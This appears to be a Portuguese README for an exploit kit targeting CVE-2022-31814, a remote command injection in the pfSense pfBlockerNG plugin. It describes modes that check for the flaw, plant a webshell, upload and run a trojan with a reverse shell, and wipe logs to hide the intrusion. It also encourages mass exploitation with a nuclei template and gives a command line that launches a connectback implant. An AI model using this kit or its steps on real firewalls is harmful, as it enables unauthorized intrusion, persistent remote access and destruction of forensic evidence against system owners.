
Kit de ferramentas de exploração do CVE-2022-31814.
CVE-2022-31814 (pfSense pfBlockerNG <= 2.1.4_26) Kit de Exploração.
Este é um kit de exploração para o recurso de injeção remota de comandos do plugin pfSense pfBlockerNG <= 2.1.4_26, descoberto pela IHTeam.
Escrevi isto para brincar com alguns dos princípios de design encontrados no kit de exploração de firewalls da NSA - por esse motivo, ele foi projetado para ser totalmente compatível com o implante nopen (é necessária uma pequena alteração, documentada), ter recursos integrados de limpeza de logs e ser extremamente confiável ao implementar algumas verificações de pré-voo (testes de vulnerabilidade passivos e ativos).
Um payload trivial de shell TTY reverso escrito em Python (essas coisas vêm com um interpretador Python) é fornecido como substituto do nopen neste kit, porque executar binários duvidosos roubados da NSA parece um pouco tolo em ambientes de produção.
Para varreduras yolo em busca de recompensas por bugs e exploração em massa, execute o template do nuclei fornecido (ele já deve ter sido enviado para o upstream até agora). Isso fornecerá uma lista de alvos. Este arquivo é nomeado nuclei-CVE-2022-31814.yaml.
Para uma análise cuidadosa e precisa de redes, existem quatro "modos" dos quais você deve estar ciente, e estão documentados abaixo. Execute-os em ordem. Eles são definidos usando a flag "--mode".
Este modo faz duas requisições HTTP - uma para verificar se é realmente um pfSense (verificando o título HTTP em /), e uma para o endpoint vulnerável para verificar se parece ok. Este modo não explora nada.
Este modo faz duas requisições HTTP - ambas exploram a vulnerabilidade.
Ele injeta um sleep 1 e um sleep 10 e garante que a diferença de tempo entre as duas requisições seja maior que 6 segundos.
Adicionei um pouco de fator foda-se para compensar a latência se você estiver lançando o exploit através de um proxy (você está, certo?).
Este modo faz 3 requisições HTTP.
A primeira explora a vulnerabilidade para implantar um webshell usando uma requisição GET.
A segunda usa o webshell para enviar nosso trojan usando uma requisição POST.
A terceira usa o webshell para executar nosso trojan usando uma requisição POST.
Este modo faz duas requisições HTTP.
A primeira envia um script de limpeza usando o webshell.
A segunda executa o script de limpeza.
O script de limpeza elimina os logs, exclui o trojan, exclui o webshell e então se exclui. Ele faz isso de maneira razoável (rm -rf). Não é particularmente sólido do ponto de vista forense - talvez eu corrija isso mais tarde usando dd para sobrescrever os arquivos antes de excluí-los. Talvez eu também escreva alguma mágica com sed para eliminar cirurgicamente os logs, mas, sinceramente, apenas se eu estiver a fim.
Para usar o nopen, basta substituir o comando final "execute trojan" na função exploit() pelo seguinte:
execute_command(base_url, shell_webpath, shell_param, shell_command=f"chmod +x /tmp/.troy;D=-c{connectback_host}:{connectback_port} /tmp/.troy")
E forneça um binário nopen (noserver) para freebsd que funcione no seu sistema alvo - isso pode ser difícil, você precisa corrigir o noserver-3.3.2.3-freebsd_8.0-i386 do vazamento da EQGRP para usar libkvm.so.7 em vez de libkvm.so.5, e o sistema alvo precisa da camada de compatibilidade lib32... Que não vem por padrão no pfSense.
Talvez eu adicione uma flag --nopen para automatizar isso em uma versão futura, se as pessoas realmente se importarem tanto em usar o nopen. E não deveriam.

Aviso da IHTeam: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/